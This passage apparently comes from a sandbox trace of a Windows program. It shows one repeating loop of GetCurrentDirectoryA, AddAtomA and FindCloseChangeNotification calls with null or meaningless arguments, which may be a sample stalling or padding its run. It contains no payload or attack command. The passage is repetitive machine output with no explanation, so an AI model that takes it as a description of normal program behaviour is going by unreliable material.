nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.623] AddAtomA (lpString=0x0) returned 0x0 [0093.623] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.623] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.623] AddAtomA (lpString=0x0) returned 0x0 [0093.623] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.623] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.624] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.624] AddAtomA (lpString=0x0) returned 0x0 [0093.624] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.625] AddAtomA (lpString=0x0) returned 0x0 [0093.625] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.625] AddAtomA (lpString=0x0) returned 0x0 [0093.625] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.625] AddAtomA (lpString=0x0) returned 0x0 [0093.625] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.625] AddAtomA (lpString=0x0) returned 0x0 [0093.625] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.625] AddAtomA (lpString=0x0) returned 0x0 [0093.625] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.625] AddAtomA (lpString=0x0) returned 0x0 [0093.625] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.625] AddAtomA (lpString=0x0) returned 0x0 [0093.625] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.625] AddAtomA (lpString=0x0) returned 0x0 [0093.625] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.625] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.628] AddAtomA (lpString=0x0) returned 0x0 [0093.628] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.629] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.629] AddAtomA (lpString=0x0) returned 0x0 [0093.629] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.629] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.629] AddAtomA (lpString=0x0) returned 0x0 [0093.629] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.629] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.629] AddAtomA (lpString=0x0) returned 0x0 [0093.629] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.629] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.629] AddAtomA (lpString=0x0) returned 0x0 [0093.629] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.629] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.629] AddAtomA (lpString=0x0) returned 0x0 [0093.630] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.630] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.630] AddAtomA (lpString=0x0) returned 0x0 [0093.630] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.630] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.630] AddAtomA (lpString=0x0) returned 0x0 [0093.630] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.630] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.630] AddAtomA (lpString=0x0) returned 0x0 [0093.630] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.630] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.630] AddAtomA (lpString=0x0) returned 0x0 [0093.630] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.631] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.631] AddAtomA (lpString=0x0) returned 0x0 [0093.631] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.631] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.631] AddAtomA (lpString=0x0) returned 0x0 [0093.631] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.631] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.631] AddAtomA (lpString=0x0) returned 0x0 [0093.631] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.631] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.631] AddAtomA (lpString=0x0) returned 0x0 [0093.631] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.631] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.631] AddAtomA (lpString=0x0) returned 0x0 [0093.631] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.631] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.632] AddAtomA (lpString=0x0) returned 0x0 [0093.632] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.632] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.632] AddAtomA (lpString=0x0) returned 0x0 [0093.632] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.632] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.632] AddAtomA (lpString=0x0) returned 0x0 [0093.632] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.632] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.632] AddAtomA (lpString=0x0) returned 0x0 [0093.632] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.632] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.632] AddAtomA (lpString=0x0) returned 0x0 [0093.633] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.633] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.633] AddAtomA (lpString=0x0) returned 0x0 [0093.633] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.633] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.633] AddAtomA (lpString=0x0) returned 0x0 [0093.633] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.633] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.633] AddAtomA (lpString=0x0) returned 0x0 [0093.633] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.633] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.633] AddAtomA (lpString=0x0) returned 0x0 [0093.633] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.633] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.634] AddAtomA (lpString=0x0) returned 0x0 [0093.634] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.634] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.634] AddAtomA (lpString=0x0) returned 0x0 [0093.634] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.634] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.634] AddAtomA (lpString=0x0) returned 0x0 [0093.634] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.634] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.634] AddAtomA (lpString=0x0) returned 0x0 [0093.634] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.634] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.634] AddAtomA (lpString=0x0) returned 0x0 [0093.634] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.634] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.634] AddAtomA (lpString=0x0) returned 0x0 [0093.635] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.635] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.635] AddAtomA (lpString=0x0) returned 0x0 [0093.635] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.635] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.635] AddAtomA (lpString=0x0) returned 0x0 [0093.635] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.635] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.635] AddAtomA (lpString=0x0) returned 0x0 [0093.635] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.635] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.635] AddAtomA (lpString=0x0) returned 0x0 [0093.635] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.635] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.636] AddAtomA (lpString=0x0) returned 0x0 [0093.636] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.636] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.636] AddAtomA (lpString=0x0) returned 0x0 [0093.636] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.636] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.636] AddAtomA (lpString=0x0) returned 0x0 [0093.636] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.636] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.636] AddAtomA (lpString=0x0) returned 0x0 [0093.636] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.636] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.636] AddAtomA (lpString=0x0) returned 0x0 [0093.636] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.637] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.637] AddAtomA (lpString=0x0) returned 0x0 [0093.637] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.637] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.637] AddAtomA (lpString=0x0) returned 0x0 [0093.637] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.637] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.637] AddAtomA (lpString=0x0) returned 0x0 [0093.637] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.637] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.637] AddAtomA (lpString=0x0) returned 0x0 [0093.637] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.638] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.638] AddAtomA (lpString=0x0) returned 0x0 [0093.638] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.638] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.638] AddAtomA (lpString=0x0) returned 0x0 [0093.638] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.638] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.638] AddAtomA (lpString=0x0) returned 0x0 [0093.638] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.638] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.638] AddAtomA (lpString=0x0) returned 0x0 [0093.639] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.639] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.639] AddAtomA (lpString=0x0) returned 0x0 [0093.639] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.639] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.639] AddAtomA (lpString=0x0) returned 0x0 [0093.639] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.639] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.639] AddAtomA (lpString=0x0) returned 0x0 [0093.639] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.639] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.639] AddAtomA (lpString=0x0) returned 0x0 [0093.639] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.639] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.640] AddAtomA (lpString=0x0) returned 0x0 [0093.640] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.640] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.640] AddAtomA (lpString=0x0) returned 0x0 [0093.640] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.640] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.640] AddAtomA (lpString=0x0) returned 0x0 [0093.640] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.640] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.640] AddAtomA (lpString=0x0) returned 0x0 [0093.640] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.640] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.640] AddAtomA (lpString=0x0) returned 0x0 [0093.640] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.641] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.641] AddAtomA (lpString=0x0) returned 0x0 [0093.641] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.641] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.641] AddAtomA (lpString=0x0) returned 0x0 [0093.641] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.641] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.641] AddAtomA (lpString=0x0) returned 0x0 [0093.641] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.641] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.641] AddAtomA (lpString=0x0) returned 0x0 [0093.641] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.641] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.641] AddAtomA (lpString=0x0) returned 0x0 [0093.642] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.642] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.642] AddAtomA (lpString=0x0) returned 0x0 [0093.642] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.642] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.642] AddAtomA (lpString=0x0) returned 0x0 [0093.642] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.642] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.642] AddAtomA (lpString=0x0) returned 0x0 [0093.642] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.642] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.642] AddAtomA (lpString=0x0) returned 0x0 [0093.642] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.642] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.642] AddAtomA (lpString=0x0) returned 0x0 [0093.642] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.642] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.642] AddAtomA (lpString=0x0) returned 0x0 [0093.642] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.643] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.643] AddAtomA (lpString=0x0) returned 0x0 [0093.643] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.643] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.643] AddAtomA (lpString=0x0) returned 0x0 [0093.643] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.643] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.643] AddAtomA (lpString=0x0) returned 0x0 [0093.643] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.643] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.643] AddAtomA (lpString=0x0) returned 0x0 [0093.643] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.643] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.643] AddAtomA (lpString=0x0) returned 0x0 [0093.643] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.643] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.643] AddAtomA (lpString=0x0) returned 0x0 [0093.643] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.643] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.643] AddAtomA (lpString=0x0) returned 0x0 [0093.644] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.644] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.644] AddAtomA (lpString=0x0) returned 0x0 [0093.644] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.644] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.644] AddAtomA (lpString=0x0) returned 0x0 [0093.644] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.644] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.644] AddAtomA (lpString=0x0) returned 0x0 [0093.644] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.644] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.644] AddAtomA (lpString=0x0) returned 0x0 [0093.644] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.644] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.644] AddAtomA (lpString=0x0) returned 0x0 [0093.644] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.644] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.644] AddAtomA (lpString=0x0) returned 0x0 [0093.644] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.644] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.644] AddAtomA (lpString=0x0) returned 0x0 [0093.644] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.644] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.644] AddAtomA (lpString=0x0) returned 0x0 [0093.645] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.645] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.645] AddAtomA (lpString=0x0) returned 0x0 [0093.645] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.645] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.645] AddAtomA (lpString=0x0) returned 0x0 [0093.645] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.645] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.645] AddAtomA (lpString=0x0) returned 0x0 [0093.645] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.645] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.645] AddAtomA (lpString=0x0) returned 0x0 [0093.645] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.645] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.645] AddAtomA (lpString=0x0) returned 0x0 [0093.645] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.645] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.645] AddAtomA (lpString=0x0) returned 0x0 [0093.645] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.645] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.645] AddAtomA (lpString=0x0) returned 0x0 [0093.645] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.645] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.645] AddAtomA (lpString=0x0) returned 0x0 [0093.646] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.646] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.646] AddAtomA (lpString=0x0) returned 0x0 [0093.646] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.646] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.646] AddAtomA (lpString=0x0) returned 0x0 [0093.646] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.646] 